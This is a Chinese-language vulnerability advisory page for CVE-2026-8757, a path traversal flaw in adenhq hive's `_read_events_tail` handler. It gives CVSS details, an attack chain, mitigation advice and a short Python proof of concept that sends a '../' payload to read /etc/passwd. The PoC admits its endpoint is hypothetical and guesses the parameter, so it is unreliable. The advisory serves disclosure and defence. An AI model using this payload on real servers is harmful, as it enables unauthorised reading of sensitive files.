IPBUF安全漏洞报告
English
CVE-2026-8757 CVSS 7.3 高危

CVE-2026-8757 adenhq hive 路径遍历漏洞

披露日期: 2026-05-17

漏洞信息

漏洞编号
CVE-2026-8757
漏洞类型
路径遍历
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
adenhq hive

相关标签

路径遍历adenhq hiveCVE-2026-8757未授权访问

漏洞概述

adenhq hive版本0.11.0及之前版本中存在严重的路径遍历安全漏洞。该漏洞影响核心组件Delete Request Handler,具体位于`core/framework/server/routes_sessions.py`文件的`_read_events_tail`函数。由于缺乏对用户输入的充分验证,攻击者无需任何认证即可通过网络远程发起攻击。通过构造恶意请求,攻击者可利用路径遍历漏洞读取服务器上的敏感文件。目前利用代码已公开,厂商尚未对此作出响应。

技术细节

该漏洞位于adenhq hive的Web服务端处理逻辑中。具体而言,漏洞触发点在于文件`core/framework/server/routes_sessions.py`内的`_read_events_tail`函数。当服务器处理Delete Request Handler组件的请求时,该函数未能正确过滤用户提交的参数。攻击者可以通过发送特制的HTTP请求,在参数中插入“../”序列或绝对路径。由于未对路径进行标准化处理或限制在特定目录内,应用程序将直接读取攻击者指定的文件路径。这允许未经身份验证的攻击者遍历服务器文件系统,访问配置文件、源代码或其他敏感数据。CVSS向量显示攻击复杂度低(AC:L),无需用户交互(UI:N),且无需权限(PR:N),使得该漏洞极易被大规模自动化利用。参考链接中提供的Gist地址表明已有公开的概念验证代码可用。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器运行adenhq hive版本0.11.0或更早版本。
STEP 2
漏洞利用
攻击者构造包含路径遍历序列(如../)的恶意HTTP请求,发送至`_read_events_tail`函数对应的接口。
STEP 3
数据窃取
服务器未正确过滤输入,直接读取并返回攻击者指定的敏感系统文件(如/etc/passwd)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-8757 Path Traversal in adenhq hive # Target: adenhq hive <= 0.11.0 # Endpoint: /sessions/delete (Hypothetical based on file name) target_url = "http://target-ip:port/path/to/handler" # Path traversal payload to read /etc/passwd payload = { "file_path": "../../../../../../../../etc/passwd" } try: response = requests.get(target_url, params=payload, timeout=5) if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability confirmed! /etc/passwd content:") print(response.text) else: print("[-] Vulnerability not confirmed or target not vulnerable.") except Exception as e: print(f"[!] Error: {e}")

影响范围

adenhq hive <= 0.11.0

防御指南

临时缓解措施
建议立即限制对受影响应用的网络访问,仅允许可信IP连接。在代码修复前,可使用反向代理或WAF规则过滤包含路径遍历字符(如"../")的请求参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表